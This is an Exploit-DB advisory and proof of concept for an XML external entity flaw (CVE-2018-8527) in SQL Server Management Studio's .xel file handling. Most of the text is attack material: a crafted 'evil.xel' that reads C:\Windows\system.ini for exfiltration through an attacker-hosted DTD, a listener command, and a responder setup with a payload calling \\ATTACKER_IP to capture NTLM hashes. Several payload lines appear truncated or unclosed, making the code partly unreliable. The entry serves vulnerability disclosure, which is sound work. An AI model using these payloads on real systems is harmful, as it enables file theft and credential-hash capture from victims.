Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection

EDB-ID: 45585
Author: hyp3rlinx
Published: 2018-10-11
Type: Webapps
Platform: Windows
Vulnerable App: N/A

 # Date: 2018-10-10 
# Author: John Page (aka hyp3rlinx)
# Website:
# Venodor:
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)
# CVE: CVE-2018-8527
# References:

# Description
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations
# of Microsoft SQL Server Management Studio. User interaction is required to exploit this vulnerability
# in that the target must visit a malicious page or open a malicious file.
# The specific flaw exists within the handling of XEL files. Due to the improper restriction
# of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser
# to access the URI and embed the contents back into the XML document for further processing. An attacker
# can leverage this vulnerability to disclose information in the context of the current process.

# [Exploit/POC]

python -m SimpleHTTPServer (listens Port 8000)

"evil.xel" (Extended Event Log File)

<?xml version="1.0"?>
<!DOCTYPE flavios [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "">


<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM ';'>">

# OR
# Steal NTLM hashes
# Kali linux


responder -I eth0 -rv


<?xml version="1.0"?>
<!DOCTYPE dirty0tis [
<!ENTITY % dtd SYSTEM "\\ATTACKER_IP\unknown">

Result: Forced authentication and NTLM hash captured

Related Posts